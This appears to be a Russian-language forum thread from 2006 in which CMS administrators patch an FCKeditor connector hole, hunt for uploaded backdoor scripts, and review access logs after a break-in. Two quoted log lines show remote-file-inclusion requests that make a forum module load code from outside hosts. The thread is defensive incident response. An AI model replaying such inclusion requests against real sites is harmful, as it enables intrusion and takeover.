патчим FCKeditor

[SVL]

Сегодня утром захакан Голландский сайт.
Все кто юзают FCKeditor надо в
class/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php
выше 22 строки вставить строчку

PHP код:

if (!defined('XOOPS_ROOT_PATH')) exit(); 


или die() с матюком
также надо проверить директорию Upload-a FCKeditor на наличие дверей.
приблизительно /UserFiles/File/suntzuXXXX.php (типа suntzu9983.php, suntzu7971.php и т.д. и т.п.)
Ветка на оф _http://www.runcms.org/public/modules/forum/viewtopic.php?topic_id=3994&forum=26

[iooi]

Всмысле вот так?

<?php /* * FCKeditor - The text editor for internet * Copyright (C) 2003-2004 Frederico Caldeira Knabben * * Licensed under the terms of the GNU Lesser General Public License: * http://www.opensource.org/licenses/lgpl-license.php * * For further information visit: * http://www.fckeditor.net/ * * File Name: connector.php * This is the File Manager Connector for PHP. * * Version: 2.0 FC (Preview) * Modified: 2005-02-08 11:48:55 * * File Authors: * Frederico Caldeira Knabben (fredck@fckeditor.net) */ if (!defined('XOOPS_ROOT_PATH')) exit(); include('config.php') ; include('util.php') ;

Где искать директорию Upload-a FCKeditor ? (find-ом поискал, вроде, нет такой бяки)

[saidnavy]

http://www.runcms.ru/modules/news/ar...hp?storyid=306
на поддержке выложено у нас

[SVL]

Сообщение от iooi Всмысле вот так?

да

Сообщение от iooi Где искать директорию Upload-a FCKeditor ?

если не настраивали, то поумолчанию в корне сайта UserFiles/

[N3v3rmind]

1)\language\french
у меня такого вообще нет - есть только english и russian. В них нужно что то менять?
2) ВСЕМ:
fckeditor находится:
siteroot/class/fckeditor
по умолчанию в нём находятся:
editor - папка
fckconfig.js.php
fckeditor.php
fckstyles.xml
index.html
license.txt
test.php
В остальных скриптах очевидно могут быть бэкдоры.

[Jurastik]

и меня поломали не знаю через эту дырку. или нет
создали html файлик и всё...

[pan]

Jurastik посмотри логи

[Jurastik]

закрепил логи за 11 число. посмотрите пожалуйста. кто понимает.
ломанули примерно в 22.00 часа.
хотя может я и ошибаюсь. я новости постил. так что может пропустил этот момент

ЛОГ ФАЙЛИК

[Jurastik]

подозрительное местечко

209.200.60.124 - - [11/Feb/2006:21:16:17 +0200] "GET /modules/newbb_plus/class/class.forumposts.php?bbPath[path]=modules/newbb_plus/class/class.forumposts.php?bbPath[path]=http://www.bugstomper.net/modules/xgallery/cache/albums/stomperalbum/aae.jpg/kill.txt?

[Jurastik]

[11/Feb/2006:21:15:53 +0200] "GET /modules/newbb_plus/class/class.forumposts.php?bbPath[path]=modules/newbb_plus/class/class.forumposts.php?bbPath[path]=http://dabanani.biz/elite.html?

вот ещё и это с одного ip

похоже дыра в форуме. ёпть. у меня версия 0.85... заплатка наверно есть, если есть то где?